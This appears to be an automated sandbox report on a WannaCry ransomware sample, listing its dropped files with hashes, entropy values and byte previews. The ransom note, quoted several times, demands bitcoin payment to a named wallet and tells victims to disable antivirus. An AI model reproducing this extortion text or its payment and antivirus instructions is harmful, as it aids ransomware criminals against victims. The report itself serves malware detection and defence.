                                                                                                      Preview:WANACRY!....T(e=.Cb....f.B...I.7.k<..,S..iZ...iU.`...E.J....`..9......9.sk..../}...'9..0HIaV.....t.|.;w.L.W..;.z...i{...~`...&5\!.....:d....4.3#..R^Uzt...PG..N..%..Mf.....4...X=<_....&.K.>.ts}.t..k{....c|..^..|..z....h.4..\."...j...@..R|..M}e......:3/.].....p................W....W...\....6.....y.....~.........5.I...Bl....jw...h.t....J.f.`...9O.7........9.W.`.M.xS.u.=.DCI......a.-..<.H......Y....u<x....I...}..x.\..j*..#...~..Z.FI..'W..{#c!K...x.m..i.._.t.~.4...w.d.>|$.T.X..iab.j...4TB...C...G...|..*..,.)o..z....PYL..'....x%5..A.k..]=...Z...B.....M.t.>4..&.av.......y....HD......D.4[._f...e.(..l&i..l....&&oq...Y./.`n....I.Y..y...Ht. ... -.q..3g........'..u..>.../..a...%._..U...l..P.....}mVO.c.,r.......bN .b..i.V..%..0..Wd.....L.....U.....O.1..V.w.S...U;..d.;.f9..Ogr...."..t".I.,..5..A.8F.........c..^....<z....Q.UP..3.=.`H.`..`}...P`....j..>.......F.;^.0...%gv.[...=..:.+.6.....F....7kY..@..Ls.-.U.v....#......!...#v.s.K.\o.F

                                                                                                      C:\ProgramData\Microsoft\Network\Downloader\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\ProgramData\Microsoft\Network\Downloader\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16777496
                                                                                                      Entropy (8bit):7.9999893886951865
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:393216:OwlaVvZ3xHNivZj05PpAjl5OxUYWjCHxfUumo/:1lgZ39SZ4r4eeY/H9Fmo/
                                                                                                      MD5:4382B7B53DAC7A4B9E26B6AB6C5ED616
                                                                                                      SHA1:BEECB8AB67DA72B6EE755C3F19A9489717FB4599
                                                                                                      SHA-256:DF772C45CA1E36DAA01389B472AA78A88CE3014B4AAC0442539DFA164CC8B7B5
                                                                                                      SHA-512:E4B2AA1AD838B317ED7C65BCA873098E53D30D51A77448545D82088076F8C5012652FD3CA593F6500F172F409EFED03334A09927B0BD08BFDD1E4D111EC4AD8A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......q..^.1\xl..my..*..8.0.Z....xA.LY.`..4S..w..H/.."m...RV.v.'..ap".V....L.]..P./../K...,....3.>V.....c..6.E.2Om..Q...&..l.h=...SE...............!.&.V...........*..........\B.t.Ty...?&....O.LX.f.^.|m....X.t....g"..@.^.f..[n...FH..L...Q...C....,...............?....#.4..2,.;.C..K..k..9...s`..C...."....rMwssy...s..*D........t_/*.G..<..L...J*dD..0.......8).B.X6...c.(.......G..i.b.ajt...:....Q.=..~T.1.nU..+.p.....KaB.....Q...ew,.....A..X...\tAd.........5!o{.G......9..g.1c..|Q..]p.8..._..6fs.....F.E`.b......J..tVH...(.....Khl-..y9l'F#.R.-..R1P...Q.I;........Q{.P=%..~X.T..g.....D."..."@.coJ.%.qc.......[..m.^.$l.-..yy.,.h.Q...T.:.l..|...p.2..:.*0Exc.....9...[...R.........C....tB.........Q.ZK..M..eaG.k...f.i/}jD....._.D.i....#.Y..5.RQ.S....%0..C.A.*....=0......R(...Q..!}..c9..;.2..M..#1>.X.3...C-......C.@.#r.3.B..ix>....Y.&5..T.k<~[c....+PA.......s..7...$..c..Qtn....<r.z.p.....E|..*.fJ..Y.<...0.~.....zw......y.A.}.P..[.!...y.*.A.(w,e.[.#p.

                                                                                                      C:\ProgramData\Microsoft\Search\Data\Applications\Windows\tmp.edb.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):164120
                                                                                                      Entropy (8bit):7.998858371001537
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:kWWcCyQloSFBFSWAgLzScMaYFjoBZ6leB/l0ELf01xZQEqAHttlLuZpIsfkC:k9xBB0XgoaEcLjN0JQxALlWpIdC
                                                                                                      MD5:C328B38156DAD1A004DF88B4BB1F6B54
                                                                                                      SHA1:CE34072CE89F8C52895A4FFED6EC903E68D5FD2E
                                                                                                      SHA-256:A93FD34D8FF732C801441FB03D14839288800C41168DE8E50E2FE29660BD3772
                                                                                                      SHA-512:10D6B0723F32A2FBCA5FCAB3FF76B194A14E584333B95AFA4A4F015E1CD524F0DC7F2E62ACD345C479F607600446FEBD909494DA2628B3BEB2949B506331ECBF
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....>$..>.J@.F=..'..[........KeN..........=d....o...o.T...@..'._.6Q.........U.|..`.......3.\...X.p."..X.,J.....o.....n....m ..xX9.D.R.Ay.1...0.....'t..OHK+.T.....60.#..1....|....'...pTZ....4.#.;s$.F...w....O;...S.A.q8...I....UJ ........|./Vp....J...............K.R..A.....\T.mJ.G\..3c./.7...~T.....k.>6.(.p.U...~.YC.....Fb2.~LR.o.e...\....y.}-c.B...U........#.......OA...b...n......l(......).Mh.M~~...6.Zf..G."fZ..U...+J1........yC....p.F....*..P.....}.........G.4...h@...l....y.5.F...M.......&....M.........#h2....7k.[.._...\.....w'..L+.}P.>q..8...xO..89.4....MP.S._..ui..R.I..a.elz.........N[.ZHF...=F..F#..$....=.^..8G.?.4u2.h..t...s...[.0..0.... ...4....r..jd\.K.P=.>'1.p..r...Z.....?.H3.....e.).8A..L.B9.h^..>.r>r.+...b..U..K.,g@..X..r.y..0.;...l]X~..I8Lvr.....i..pwg.B....W.....-E.V.l~.E...q...$.a;ml..U&......x..:K..F..=.....F..O.@....."6g...5%.....v=...!...7#.i..M%..|B$......s.-tF*p^k>D............gL..C.....Q...0..%qZ..

                                                                                                      C:\ProgramData\Microsoft\SmsRouter\MessageStore\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\ProgramData\Microsoft\SmsRouter\MessageStore\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):196888
                                                                                                      Entropy (8bit):7.999002484211101
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:WoY23CV7dX1v5KFml6wDKnEg6pERZpAvYv+1x38Icfb:pY23SDoFjwDKnEg/TpXv433cD
                                                                                                      MD5:D6BF02C5A39048E51B42D212B9700017
                                                                                                      SHA1:251BE939560244EFDEBECB9303B8613F4904017E
                                                                                                      SHA-256:1753F43F8D2ACE4D2782BE7E874FE3B82A393F33AE7AAFC7E85E54DC11C33635
                                                                                                      SHA-512:A2B951FC0D616BF361C9E7AA9C4D645FCCAAC8A48A15B8638A4AA8270C2433C486DA524141042C6CEA9E1B2ADE70C340E922EEA94EFA8097DF2DE652DC1DE79A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....b.......|.t .x..A.$.69@9=7..nj.Sx..P..O....?S....!......(\~.....(..R.;[.3H...m...'t.0.Q.".bq..P.z.....p9..^...h........M9.....*.C.g......V...T.....w.......Z...P../`..2:...#./...j...3c.\J.6.;..`..>......[}.Nm....R..#....=....o..H.....N...8L...............<.JsI6..D}....W.....Z....8.m..&{...3.....z.......J.........NG>b..O......x...gh8..x....n...+.)..n...Y....?._...9.4.{KU........Yr..Zc................1.X..xb....k....]v...t..n.w.......?@VY.f.k...c.s..GSTf.z.B...<..v.............Ek.....9......q.e..\d-..g..}.o....~.wj......0.Px.1V.`.......qH..#=.h$..m...Z.T.BzJZxu.Rp-I.17.....9..<......*N.....4.a..........j.e......PK@.!(.....=2..DZ....A.DU.8.2ay..|&....W.!.....c.#.....m..)..W.g.g.e.V$.mT:C../.V..H.ZL3....w....6..E.q..s.Qe..f`..........,..1D...4...n;/TW...X.eS..N.g0J...rT....u..h'.......[...s[G.....].).E.#fVms.7..9.6_.n.[.....G.p..#ga%....j$.`...V.x......BL"&"|.y.Y.s..M...[.'.;~..#.jW...Vb..Ovw.'...../8CR..&<....r.\..<.:..l

                                                                                                      C:\ProgramData\Microsoft\UEV\Scripts\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\ProgramData\Microsoft\UEV\Scripts\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\ProgramData\Microsoft\User Account Pictures\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\ProgramData\Microsoft\User Account Pictures\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):602456
                                                                                                      Entropy (8bit):7.9996821200197425
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:6o0ezSRL8eE0ArcSFA1ZtFKetOVcvvNhax2ORSTk9RBTA8laZsZiIhrr:6o0euRL8eE0mcSi1ZtFsVIjapUk9Rla+
                                                                                                      MD5:398D8B6A442ED05543F8E9FDBCF3A1D7
                                                                                                      SHA1:CB78563FA837683ED838A1C5E57B748DA7F37F9C
                                                                                                      SHA-256:82F0F9822C0843C4CA4361DF448E6CE7344BCF587AE3763E4F7EE92018E66C2A
                                                                                                      SHA-512:92DEEAB3CC59F4281D3C8376DEACDD7361D33EDB30DDF4E8A991FE75B8F560D9215D1067DC5630BD0EFE620AA07231EB18146CE984AC6B6ECE741A1797BE847C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....5..j...\...t...>...q...N..*...uP....6..61.4!....g_..d_....&Q.8Xg`..G ....j..N.c<(&....E2.%.<hd..y.8E~.9..9gUN..>.+..7z..'..}...YU....'.......G..j.....}...r^s..........!{.k..u..J...m.UQ...bb.P......[.XTA...X.*...d].RD.NH..k6.-..E`|.X...<q..U...M....80......L....2f....O.....t..9.T.a....6..MT..'.]U...i.....H6..E.....k{".+_.K.h...K.C-.3+\.........]..ea...=.}.M.p.g......8../.....2U.`....$i).@.h.`....Y...O.BY&Bs.tr.r..qH.Q`9z\...B...K...*Ru3..o.X.W......u&..n'.....#My;..C..I.Q.[U.4.....1.Y.A.@C..eg...VC..........P..g.Y...5\..R_qZ.^..J....4:5.bk......I..wK+1......K......;.[.Z..Vj..67W).r-.)...h.*nx.)..../uf...x..oz....!..#....Gu....t....lP.k.?..E....(.....Bgu..../...O...%*..@.;.^....J.0w3K!......iec.:t.z.....d..............Xh=:.o-.........x....ea.;krR..'y...Lj.$.SM`:>.^..}.g..Lq.=...x.!.J.l.~..v....s..+t.{4!..~...&:....\.3....w."T..9......n..U.z...6;...-..B.j..-....+..|.h..$..y.qf..r.*4C.<...a=..%.....yVP[pP2I.U.$..RN..,ETz.

                                                                                                      C:\ProgramData\Microsoft\User Account Pictures\guest.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):6344
                                                                                                      Entropy (8bit):7.972850293091307
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:o67G7K+XJzREzEZQZr2sPWNkvnGrqWK/4RilUPM/nUxxp1H66br7WaHo:1AKStZWSsPWNkPIqe7inmbrC
                                                                                                      MD5:B463B69EFCC337EFF2065B67E5E18CCA
                                                                                                      SHA1:C42E6E8101F7C16F3173F7B5309E59F6660B40C2
                                                                                                      SHA-256:8B55EFFD14ECED9D14D34838C138266F76894FAF14CE47D0BCA26F61DD0F7EEE
                                                                                                      SHA-512:7A8F13EBF4CACE40005649DFA14FD00885B0527D8A2E4704B67D58FA946EB80C0930ABF58EC594C25363246275F58039B7A1B61C271C82DFE4746A185B0C1CF4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......X...?..._H.".nEj7.....#.,G.e.A...&._..G.[...IN.......fC..&................c.<....\iP.K$P..F.v....f4...E.(.A.t^.vm..u<.`B...@....h.sf3..w..0^g./.R.M5..;'q..-G._K....hj.....;.2.t.kS.........(...7.@.VXUE....f..R.A.3%ll....)......?..e.0]...X9{..............r.i.a.....D....l....H....K<2..s..V.>&.Zh$.0l..].=T...j....~..Y.b.....S,....ptBr......._. |i..q..'..m....(V....*"........7..........n..;0T>d.~.j...J%X.n.....g.........};j..f...=........6...............n.../%]..e.`ygO....).O1...r...xh..@3.8..c.~..AqB.#Y.E<.j.X.'.........E......&D....._.B..T8%.|...j4.g.xh...6..^(.PA......Ay.ZP..v&(R...e..%..m.....}....?k...do..C .<K<%.....3.w.......X.~a.%MJ9.r..\.h.].z.W.V{..TL.p..&..m.[.nZ...+2..M.......)[..29...[..*..I...zR...J.C..k../.G}B;.6-.=NB..K..ZA..*..[..v...)6.a.1x.....[7"...w......3...3n..b...%ANI..|...-...D....r.....s.......0.....>.6.....{h].r......"tK..p..+`..]hK$.^.2q@...;.:1..j..JD...W.}.o0,......M..)...s.(L{e. W ru.8z.....p.*...

                                                                                                      C:\ProgramData\Microsoft\User Account Pictures\user-192.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2680
                                                                                                      Entropy (8bit):7.927948064096255
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkvZxrbawZb3Seu9OCxkoguh6LFlEJLsvv91MUNZusKc88tHoYvnf2rzQlU:oRNDZT9C8wMALsvv91JAsKjGoYvfOQlU
                                                                                                      MD5:91AD4F9D4E1D11BDB5585F278E73CA51
                                                                                                      SHA1:64D0FFF53F958A9914EB559270883A04A73EAB5F
                                                                                                      SHA-256:1A32F89425324F84B0BF40A87929D3D387637A59597FE27448E7CC861515D741
                                                                                                      SHA-512:8AC033E0DB56193132288ABC4A4A46B2903259CD157A7AFD32B2BA8FA84956681605CF569429FF567085AD0E151C60D31F602E6D5BA03B6FAC599D6B803B745E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....v.o...bv".<...P\A...d...i.... ....V...x..X...n$".#.s..8.i.#.K.b\8...o..D.|x%.F...I.f]/..F&5.O...............l=>|.`...1.q.w.+p....t.....7<.7..V.>9........%......N.....PJ..Y..k,..N.&..T}.;U.:.#.G.a..?s...-...Z....4K.6.!.(=M[K.a..\....D. ..h.....X.........B{.~....0..]c....E&.....C0z.G....Ef.....o..<..+\P....D[....j...>=........Z......D..&V.m.....,M;.Z.&.ud.{.0.+;.v_.N.....6........b.}.n3O........Y4cl....Qy<..nq...K...YTZ........tz ...su..t.s8)..D..t2.;.-W.E."..^...:.o7]IJ.S.....|...x............Mq.j.R.9Uz...JE...F...2.?W.=...m..G..'.>.<.PJ.f..*1.....>..wDY^.....d.mF..2O3Hu1..1>..3..6wax...EE.Jo....]..!x;..._...e.0.?._.....}.W.D..N.@......GA#.m.:%BT.9.W..d.'T.e.......fa\....#j..fR.m.p.p7.]...x86.u.............{..~l.....'.6....3*..R.v.Dv.J7.m.+..6.?F..........q..a...K........].......l..q#X*..%.8.. .%.2...[..[..a..`q....8..|.......$E...}....-.p#/l.5.k.sQ.[~...dpcW....`?......}y...6$..d...Q{..&go.3..l..t....;...Y.d...t..I..AR.q....zwr.

                                                                                                      C:\ProgramData\Microsoft\User Account Pictures\user.bmp.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):602456
                                                                                                      Entropy (8bit):7.999686434794198
                                                                                                      Encrypted:true
